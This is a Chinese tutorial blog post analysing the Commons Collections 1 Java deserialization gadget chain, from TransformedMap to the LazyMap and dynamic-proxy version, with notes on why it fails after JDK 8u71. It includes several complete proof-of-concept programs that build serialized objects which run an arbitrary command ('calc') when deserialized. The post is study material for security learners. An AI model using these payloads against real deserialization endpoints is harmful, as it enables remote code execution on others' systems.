之前简单学习了JAVA反序列化和URLDNS这条利用链,讲过的基础就不再赘述了,今天来学习CommonCollections这条利用链。
由于这条链相对于URLDNS比较复杂,为了更容易理解,所以首先采用P牛精简后的一段DEMO来理解这条利用链:
DEMO1
package Commoncollections1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
class CommonCollections1 {
void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"calc"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}
在windows环境中,运行以上代码会发现打开了计算器。如果是其他系统需要将calc换成想要执行的程序路径。
简单看看代码,通过参数来看,发现最后一句代码好像没什么用似的,删掉试试。
结果发现不能打开计算器了,这说明,最终触发执行代码的代码是最后一条。
TransformedMap类
outerMap对象是TransformedMap.decorate返回的,所以要先研究一下这个类是干嘛用的,首先看一下这个类的继承图:
通过类名可以看出,这是一个Map的装饰类,对应设计模式的装饰器模式。目的是为了向一个现有的对象添加新的功能,同时又不改变其结构。这个类中对原始类的某些接口的功能进行了扩展。
跟进这个TransformedMap类看看实现:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
可以看到,decorate中new了一个自身对象并返回,也就是调用了自己的构造函数,而构造函数调用了父类的构造函数,然后将两个Transformer类型的参数保存到了成员变量中。
继续看看这个类的put方法,为什么会执行代码:
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
protected Object transformKey(Object object) {
return this.keyTransformer == null?object:this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null?object:this.valueTransformer.transform(object);
}
可以看出,put方法首先调用了自己的transformKey方法和transformValue方法,然后调用了map的put方法。而transformKey和transformValue都是调用了我们开始传参进去的Transformer对象的transform方法。
ChainedTransformer类
仔细观察会发现,构造TransformedMap对象的时候,我们传参的Transformer类对象是一个transformerChain对象。
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
首先看一下继承图:
可以看出transformerChain类是Transformer的子类,根据构造这个类的代码可以看出,这个类构造参数是一个Transformer数组,看一下实现代码:
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
可以看到,构造函数直接将传入的参数保存在iTransformers成员变量中。而transform方法的实现则是循环调用数组中每一个元素的transform方法,并且将前一个调用的结果当做下一个调用的参数传入。
Transformer 接口
接下来继续往上看代码,看到定义了一个Transformer对象数组,对象分别是继承自Transformer的ConstantTransformer子类和InvokerTransformer子类。
查看Transformer的定义,发现是一个接口,并且只有一个方法:
public interface Transformer {
Object transform(Object var1);
}
然后去这两个类中看一下这个接口是如何实现的:
ConstantTransformer 类
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
可以看到,ConstantTransformer这个类的构造函数将参数保存到类成员变量iConstant 中,然后transform接口将iConstant返回。
InvokerTransformer 类
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if(input == null) {
return null;
} else {
try {
Class ex = input.getClass();
Method method = ex.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method \'" + this.iMethodName + "\' on \'" + input.getClass() + "\' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method \'" + this.iMethodName + "\' on \'" + input.getClass() + "\' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method \'" + this.iMethodName + "\' on \'" + input.getClass() + "\' threw an exception", var6);
}
}
}
注意InvokerTransformer类的构造参数,分别是想要调用的方法名,参数的类型数组,以及参数数组。
构造方法中只是将这几个参数保存到了成员变量中,然后在transform方法中,通过传入的对象用反射调用的方式调用构造函数中传入的方法。
调用链总结
看到这里,是否有一种豁然开朗的感觉?
接下来对这一段Demo进行一个调用链总结:
TransformedMap.put
ChainedTransformer.transform
ChainedTransformer.transformValue
ChainedTransformer.transform
ConstantTransformer.transform
InvokerTransformer.transform
Runtime.exec
到这里相信大家对上面的Demo原理已经了解了,但是现在有一个问题,我们在本机执行是可以执行代码了,但是怎么反序列化漏洞中来利用这个利用链呢?
通过上面的调用链总结可以看出,这一套调用链主要是围绕着Transformer接口的transform方法的,所以说要找到一个在readObject方法中能调用transform方法的地方。
AnnotationInvocationHandler类
AnnotationInvocationHandler类就是满足上面要求的一个类,首先我们来看一下这个类的构造函数:
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if(var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
可以看到构造函数有两个参数,第一个参数是继承自Annotation的类的Class对象,第二个参数是一个Map。
将参数1保存在了type变量中,将参数2保存在了memberValues变量中。
接下来看一下readObject方法:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if(var7 != null) {
Object var8 = var5.getValue();
if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
重点主要在这一部分:
通过上面的构造函数可以看出,memberValues保存的就是我们需要传入的Map对象,这里调用了Map.entrySet(),entrySet方法会返回一个Set
然后在调用Entry.setValue来设置数据。
所以这里要看一下setValue是怎么实现的,直接在IDEA里go to declaration发现是map接口中定义的,所以要在实现类中去找。
我们传入的类是TransformedMap类型的,所以就去TransformedMap找setValue方法。
但是发现TransformedMap类中没有setValue方法,接着去TransformedMap的父类AbstractInputCheckedMapDecorator找。在这里发现如下代码:
可以看到setValue在AbstractInputCheckedMapDecorator.MapEntry中定义。setValue调用了parent.checkSetValue方法。而parent通过上面的构造函数可以看到是一个父类对象,所以我们去看一下TransformedMap类中是否有checkSetValue方法:
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
可以看到TransformedMap类中定义了checkSetValue方法,而checkSetValue方法调用了valueTransformer.transform方法。这就和我们之前执行的put一个效果了,可以直接触发我们精心构造的利用链。
这里有点绕,如果对这一块不明白可以自己调试一下看看。
尝试构造新的POC
了解了AnnotationInvocationHandler类之后,我们用刚才的TransformedMap对象构造一个AnnotationInvocationHandler对象,然后序列化AnnotationInvocationHandler对象,这时候会发现报错了,原因是Runtime对象无法序列化,因为没实现Serializable接口,所以这时候要通过反射调用,更改后的代码如下:
package Commoncollections1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class DEMO2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, new Object[0]
}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{
"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
运行代码发现没有报错,但是并没有打开计算器。这是因为什么呢?
以下涉及到JAVA注解方面知识,这里只进行简单分析,详细过程可以参考- https://xz.aliyun.com/t/7031#toc-8
通过调试发现,在AnnotationInvocationHandler类反序列化过程中,有这么一个判断:
如果var7等于null,则不会执行下面的代码也就不会执行我们精心构造的利用链。
通过代码可以看出,var7是var3.get(var6)得到的,var6是我们传入的key,通过调试发现,var3详细信息如下:
可以看出var3中包含了一个Hashmap$Node的元素,这个元素的key值是value,而我们传入的key值是test,所以这里应该要改为value值。
最终POC
经过上面的分析,将代码中我们传入的key值改为value在试:
package Commoncollections1;
import com.sun.xml.internal.messaging.saaj.util.ByteInputStream;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
/**
* Created by King on 2022/1/12.
*/
public class DEMO3 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construction = cls.getDeclaredConstructor(Class.class,Map.class);
construction.setAccessible(true);
Object nob = construction.newInstance(Retention.class,outerMap);
ByteOutputStream bo = new ByteOutputStream();
ObjectOutputStream op = new ObjectOutputStream(bo);
op.writeObject(nob);
System.out.println(bo);
ObjectInputStream or = new ObjectInputStream(new ByteInputStream(bo.getBytes(),bo.size()));
Object readOb = or.readObject();
}
}
运行代码,可以看到成功打开计算器:
真正的CC1链
上面分析了这么多,其实这并不是真正的CC1利用链,真正的CC1如下:
可以看到,ysoserial中没有用TransformedMap,而是用的LazyMap类,查看该类定义,找一下在哪里调用了transform:
发现在该类中的get方法调用了transfrom方法,也就是说这个类通过get来触发我们构造的利用链。
但是如何让AnnotationInvocationHandler类调用get方法呢?看看AnnotationInvocationHandler的定义,发现在invoke方法中调用了get方法:
那么如何让AnnotationInvocationHandler类在反序列化的过程中调用get方法呢?
动态代理
答案就是java动态代理,通过动态代理可以很方便的拦截对某个对象的某个方法的调用进行拦截。
比如有如下接口:
interface testFace{
public void print();
public void Get();
public void put();
}
class testClas implements testFace{
public void print(){System.out.println("print runing");}
public void Get(){System.out.println("Get runing");}
public void put(){System.out.println("put runing");}
}
我想对这个接口中的某个方法调用进行拦截,可以通过动态代理的方式来实现。
class testProxyInvoke implements InvocationHandler{
private testFace ob = null;
public testProxyInvoke(testFace ob)
{
this.ob = ob;
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable{
System.out.print("attempt call "+method.getName());
if(method.getName().equals("print"))
{
this.ob.put();
}
return (Object)null;
}
public testFace getOb()
{
return this.ob;
}
}
InvocationHandler接口是一个调用处理器的接口,如何相对指定对象进行代理,通过实现这个接口定义invoke接口,然后创建一个代理后,所有对指定对象的调用都会首先调用invoke方法。
完整代码如下:
可以看到,我们只是调用了print方法,但是最终却调用了put方法。这就是因为在invoke方法中做的处理。
完整CC1利用链
为了方便调试,参考cc1链在本地写了一份,代码如下:
public static void main(String[] args) throws Exception
{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
Transformer transformerChain = new
ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construction = cls.getDeclaredConstructor(Class.class,Map.class);
construction.setAccessible(true);
Object nob = construction.newInstance(Retention.class,outerMap);
Object handler = Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},(InvocationHandler) nob);
Object fob = construction.newInstance(Retention.class,handler);
Class Chained = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");
Field fd = Chained.getDeclaredField("iTransformers");
fd.setAccessible(true);
fd.set(transformerChain,transformers);
ByteOutputStream bo = new ByteOutputStream();
ObjectOutputStream op = new ObjectOutputStream(bo);
op.writeObject(fob);
System.out.println(bo);
ObjectInputStream or = new ObjectInputStream(new ByteInputStream(bo.getBytes(),bo.size()));
Object readOb = or.readObject();
运行代码,会发现弹出了计算器。
jdk8u71之后为什么不行
不管是P牛的思路还是真正的CC1链,在jdk8u71之后都无法使用,至于为什么可以看下图新老版本对比,左边为老版本右边为新版本:
可以看到在新版jdk中,反序列化不再通过defaultReadObject方式,而是通过readFields 来获取几个特定的属性,这两种方式有什么区别呢,经过我自己多次调试发现defaultReadObject 可以恢复对象本身的类属性,比如this.memberValues 就能恢复成我们原本设置的恶意类,但通过readFields方式,this.memberValues 就为null,所以后续执行get()就必然没发触发,这也就是高版本不能使用的原因,网上大多会说是因为取消了SetValue导致不能触发,但其实不然,思路一确实是因为这个原因,但CC1和取消setValue没有半毛钱关系。
参考
代码审计星球 JAVA安全漫谈9 10 11
https://www.cnblogs.com/9eek/p/15050035.html
总结
整篇文章总体思路是跟着P牛的文章思路来的,只不过因为基础薄弱很多地方都详细分析了一遍。
分析完之后感慨大佬是怎么从那么多的代码中找到这样一条可以利用的调用链的,真的很巧妙。